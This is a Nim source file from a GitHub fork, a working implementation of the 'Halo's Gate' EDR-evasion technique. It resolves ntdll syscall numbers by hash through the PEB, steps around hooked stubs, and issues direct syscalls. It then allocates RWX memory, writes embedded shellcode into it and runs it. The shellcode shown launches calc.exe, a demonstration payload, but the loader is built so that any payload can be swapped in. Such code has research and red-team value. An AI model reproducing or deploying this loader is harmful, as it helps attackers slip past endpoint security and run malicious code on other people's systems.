forked from zimawhit3/HellsGateNim
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHalosGate.nim
245 lines (193 loc) · 10.2 KB
/
HalosGate.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
#[
Original author: ZimaWhit3, https://github.com/zimawhit3
Modified by: pruno, Twitter: @pruno7
License: BSD 3-Clause
]#
include custom
import strutils
import os
import strformat
{.passC:"-masm=intel".}
var syscall* : WORD
type
HG_TABLE_ENTRY* = object
pAddress* : PVOID
dwHash* : uint64
wSysCall* : WORD
PHG_TABLE_ENTRY* = ptr HG_TABLE_ENTRY
proc djb2_hash*(pFuncName : string) : uint64 =
var hash : uint64 = 0x5382
for c in pFuncName:
hash = ((hash shl 0x05) + hash) + cast[uint64](ord(c))
return hash
proc moduleToBuffer*(pCurrentModule : PLDR_DATA_TABLE_ENTRY) : PWSTR =
return pCurrentModule.FullDllName.Buffer
proc flinkToModule*(pCurrentFlink : LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
return cast[PLDR_DATA_TABLE_ENTRY](cast[ByteAddress](pCurrentFlink) - 0x10)
proc getExportTable*(pCurrentModule : PLDR_DATA_TABLE_ENTRY, pExportTable : var PIMAGE_EXPORT_DIRECTORY) : bool =
let
pImageBase : PVOID = pCurrentModule.DLLBase
pDosHeader : PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](pImageBase)
pNTHeader : PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[ByteAddress](pDosHeader) + pDosHeader.e_lfanew)
if pDosheader.e_magic != IMAGE_DOS_SIGNATURE:
return false
if pNTHeader.Signature != cast[DWORD](IMAGE_NT_SIGNATURE):
return false
pExportTable = cast[PIMAGE_EXPORT_DIRECTORY](cast[ByteAddress](pImageBase) + pNTHeader.OptionalHeader.DataDirectory[0].VirtualAddress)
return true
proc getTableEntry*(pImageBase : PVOID, pCurrentExportDirectory : PIMAGE_EXPORT_DIRECTORY, tableEntry : var HG_TABLE_ENTRY) : bool =
var
cx : DWORD = 0
numFuncs : DWORD = pCurrentExportDirectory.NumberOfNames
DOWN = 32
UP = -32
let
pAddrOfFunctions : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfFunctions)
pAddrOfNames : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNames)
pAddrOfOrdinals : ptr UncheckedArray[WORD] = cast[ptr UncheckedArray[WORD]](cast[ByteAddress](pImageBase) + pCurrentExportDirectory.AddressOfNameOrdinals)
while cx < numFuncs:
var
pFuncOrdinal : WORD = pAddrOfOrdinals[cx]
pFuncName : string = $(cast[PCHAR](cast[ByteAddress](pImageBase) + pAddrOfNames[cx]))
funcHash : uint64 = djb2_hash(pFuncName)
funcRVA : DWORD64 = pAddrOfFunctions[pFuncOrdinal]
pFuncAddr : PVOID = cast[PVOID](cast[ByteAddress](pImageBase) + funcRVA)
if funcHash == tableEntry.dwHash:
tableEntry.pAddress = pFuncAddr
# Not hooked
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3)[] == 0xB8:
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4)[]
return true
# Classic hook
elif cast[PBYTE](cast[ByteAddress](pFuncAddr))[] == 0xE9:
for idx in countup(1,500):
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * UP)[] == 0xB8:
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * UP))[] + cast[WORD](idx)
return true
if cast[PBYTE](cast[ByteAddress](pFuncAddr) + 3 + idx * DOWN)[] == 0xB8:
tableEntry.wSysCall = cast[PWORD](cast[ByteAddress](pFuncAddr) + 4 + (idx * DOWN))[] - cast[WORD](idx)
return true
# Todo : Tartarus gate
#return true
inc cx
return false
proc GetPEBAsm64*(): PPEB {.asmNoStackFrame.} =
asm """
mov rax, qword ptr gs:[0x60]
ret
"""
proc getNextModule*(flink : var LIST_ENTRY) : PLDR_DATA_TABLE_ENTRY =
flink = flink.Flink[]
return flinkToModule(flink)
proc searchLoadedModules*(pCurrentPeb : PPEB, tableEntry : var HG_TABLE_ENTRY) : bool =
var
currFlink : LIST_ENTRY = pCurrentPeb.Ldr.InMemoryOrderModuleList.Flink[]
currModule : PLDR_DATA_TABLE_ENTRY = flinkToModule(currFlink)
moduleName : string
pExportTable : PIMAGE_EXPORT_DIRECTORY
let
beginModule = currModule
while true:
moduleName = $moduleToBuffer(currModule)
if moduleName.len() == 0 or moduleName in paramStr(0):
currModule = getNextModule(currFlink)
if beginModule == currModule:
break
continue
if not getExportTable(currModule, pExportTable):
echo "[-] Failed to get export table..."
return false
if getTableEntry(currModule.DLLBase, pExportTable, tableEntry):
return true
currModule = getNextModule(currFlink)
if beginModule == currModule:
break
return false
proc getSyscall*(tableEntry : var HG_TABLE_ENTRY) : bool =
let currentPeb : PPEB = GetPEBAsm64()
if not searchLoadedModules(currentPeb, tableEntry):
return false
return true
proc NtAllocateVirtualMemory(ProcessHandle: HANDLE, BaseAddress: var PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
mov r10, rcx
mov eax, `syscall`
syscall
ret
"""
proc NtWriteVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
asm """
mov r10, rcx
mov eax, `syscall`
syscall
ret
"""
when isMainModule:
when defined(amd64):
echo fmt"[i] Halo's Gate - A quick Nim implementation example, based on https://github.com/zimawhit3/HellsGateNim"
var shellcode: array[287, byte] = [
byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x6d,0x64,
0x2e,0x65,0x78,0x65,0x20,0x2f,0x63,0x20,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,
0x65,0x00]
if paramCount() != 0:
echo fmt"[!] Usage: .\HalosGate.exe"
else:
var
funcHash : uint64 = djb2_hash("NtAllocateVirtualMemory")
example : HG_TABLE_ENTRY = HG_TABLE_ENTRY(dwHash : funcHash)
status : NTSTATUS = 0x00000000
buffer : LPVOID = NULL
# dataSz : SIZE_T = sizeof(0x1000)
dataSz : SIZE_T = cast[SIZE_T](shellcode.len)
if getSyscall(example):
echo fmt"[+] NtAllocateVirtualMemory"
echo fmt" Opcode : {toHex(example.wSyscall)}"
echo fmt" Address : 0x{toHex(cast[ByteAddress](example.pAddress))}"
echo fmt" Hash : {toHex(example.dwHash)}"
echo fmt"[+] Calling NtAllocateVirtualMemory"
syscall = example.wSysCall
status = NtAllocateVirtualMemory(cast[HANDLE](-1), buffer, 0, &dataSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
echo fmt"[i] Status: 0x{toHex(status)}"
if not NT_SUCCESS(status):
echo fmt"[-] Failed to allocate memory."
else:
echo fmt"[+] Allocated a page of memory with RWX perms at 0x{toHex(cast[ByteAddress](buffer))}"
else:
echo fmt"[-] Failed to find opcode for NtAllocateVirtualMemory"
funcHash = djb2_hash("NtWriteVirtualMemory")
example = HG_TABLE_ENTRY(dwHash : funcHash)
if getSyscall(example):
echo fmt"[+] NtWriteVirtualMemory"
echo fmt" Opcode : {toHex(example.wSyscall)}"
echo fmt" Address : 0x{toHex(cast[ByteAddress](example.pAddress))}"
echo fmt" Hash : {toHex(example.dwHash)}"
echo fmt"[+] Calling NtWriteVirtualMemory"
var bytesWritten: SIZE_T
syscall = example.wSysCall
status = NtWriteVirtualMemory(cast[HANDLE](-1), buffer, unsafeAddr shellcode, dataSz, addr bytesWritten)
echo fmt"[i] Status: 0x{toHex(status)}"
if not NT_SUCCESS(status):
echo fmt"[-] Failed to allocate memory."
else:
echo fmt"[+] Wrote bytes at 0x{toHex(cast[ByteAddress](buffer))}"
else:
echo fmt"[-] Failed to find opcode for NtWriteVirtualMemory"
let a = cast[proc(){.nimcall.}](buffer)
a()